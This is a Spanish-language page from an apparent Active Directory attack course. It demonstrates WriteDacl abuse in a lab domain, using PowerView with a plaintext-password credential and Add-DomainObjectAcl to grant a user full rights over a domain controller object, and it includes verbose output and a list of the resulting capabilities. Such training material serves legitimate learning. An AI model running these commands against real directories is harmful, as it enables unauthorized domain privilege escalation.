> For the complete documentation index, see [llms.txt](https://books.spartan-cybersec.com/cpad/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://books.spartan-cybersec.com/cpad/vulnerabilidades-y-ataques-en-ad/abuso-de-acl/writedacl-sobre-computador.md).

# WriteDacl sobre Computador

{% hint style="info" %}
Para llevar tu aprendizaje al siguiente nivel y practicar estas técnicas de manera segura y efectiva, te invitamos a adquirir acceso premium a nuestro material de curso. No pierdas esta oportunidad de profundizar tus conocimientos. Para más información y adquirir tu acceso, visita nuestro canal de ventas: <https://wa.link/ej3kiu>. ¡Te esperamos para empezar este viaje juntos!
{% endhint %}

Primero vamos a impersonar el usuario `writedacldc.user` desde el equipo llamado `USER-SERVER`:

<figure><img src="/files/jGttnV4u4TbQ2P1SBwTU" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Se recomienda realizar[ lectura sobre impersonation](/cpad/movimiento-lateral/impersonation.md)
{% endhint %}

{% code overflow="wrap" %}

```powershell
PS C:\Users\admin\Desktop> Import-Module .\PowerView-3.0.ps1

PS C:\Users\admin\Desktop> $SecPassword = ConvertTo-SecureString 'Password@1' -AsPlainText -Force

PS C:\Users\admin\Desktop> $Cred = New-Object System.Management.Automation.PSCredential('spartancybersec.corp\writedacldc.user', $SecPassword)
```

{% endcode %}

Despues de lo anterior, vamos a utilizar el siguiente comando para asignar todos los privilegios sobre el usuario `user.hacked` desde la sesion previa de `writedacldc.user`

```powershell
PS C:\Users\admin\Desktop> Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'CN=FIRST-DC,OU=Domain Controllers,DC=spartancybersec,DC=corp' -PrincipalIdentity user.hacked -Rights All -Verbose
VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'spartancybersec.corp' from -Credential
VERBOSE: [Get-DomainSearcher] search base: LDAP://First-DC.spartancybersec.corp/DC=spartancybersec,DC=corp
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=user.hacked)(name=user.hacked)(dnshostname=user.hacked))))
VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'spartancybersec.corp' from -Credential
VERBOSE: [Get-DomainSearcher] search base: LDAP://First-DC.spartancybersec.corp/DC=spartancybersec,DC=corp
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Extracted domain 'spartancybersec.corp' from 'CN=FIRST-DC,OU=Domain Controllers,DC=spartancybersec,DC=corp'
VERBOSE: [Get-DomainSearcher] search base: LDAP://FIRST-DC.SPARTANCYBERSEC.CORP/DC=spartancybersec,DC=corp
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=FIRST-DC,OU=Domain Controllers,DC=spartancybersec,DC=corp)))
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=User Hacked,CN=Users,DC=spartancybersec,DC=corp 'All' on CN=FIRST-DC,OU=Domain Controllers,DC=spartancybersec,DC=corp
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=User Hacked,CN=Users,DC=spartancybersec,DC=corp rights GUID '00000000-0000-0000-0000-000000000000' on CN=FIRST-DC,OU=Domain
Controllers,DC=spartancybersec,DC=corp
```

Lo anterior, se puede apreciar graficamente con la siguiente ilustracion:

<figure><img src="/files/HbqQ66F9xIXLmM8plAuV" alt=""><figcaption></figcaption></figure>

En resumen, el comando está otorgando permisos amplios al usuario `user.hacked` en un objeto específico de Controlador de Dominio en el dominio de Active Directory `spartancybersec.corp`, utilizando credenciales alternas proporcionadas.

Con los permisos 'All' otorgados al usuario `user.hacked` en un objeto específico del Controlador de Dominio en Active Directory, el usuario podría realizar una amplia gama de acciones, incluyendo:

1. <mark style="color:red;">**Modificar Configuraciones del Controlador de Dominio**</mark><mark style="color:red;">:</mark> Cambiar configuraciones críticas del Controlador de Dominio.
2. <mark style="color:red;">**Modificar Políticas de Grupo**</mark><mark style="color:red;">:</mark> Cambiar políticas que afectan a todos los usuarios y computadoras del dominio.
3. <mark style="color:red;">**Acceder a Datos Sensibles**</mark><mark style="color:red;">:</mark> Leer información sensible almacenada en el Controlador de Dominio.
4. <mark style="color:red;">**Crear o Eliminar Cuentas de Usuario**</mark><mark style="color:red;">:</mark> Potencialmente crear cuentas de administrador o eliminar cuentas existentes.
5. <mark style="color:red;">**Cambiar Permisos y Derechos de Otros Usuarios**</mark><mark style="color:red;">:</mark> Modificar los derechos de acceso de otros usuarios en el dominio.

Para este escenario, seria necesario continuarlo con el [ataque RBCD.](/cpad/vulnerabilidades-y-ataques-en-ad/rbcd-resource-based-constrained.md)
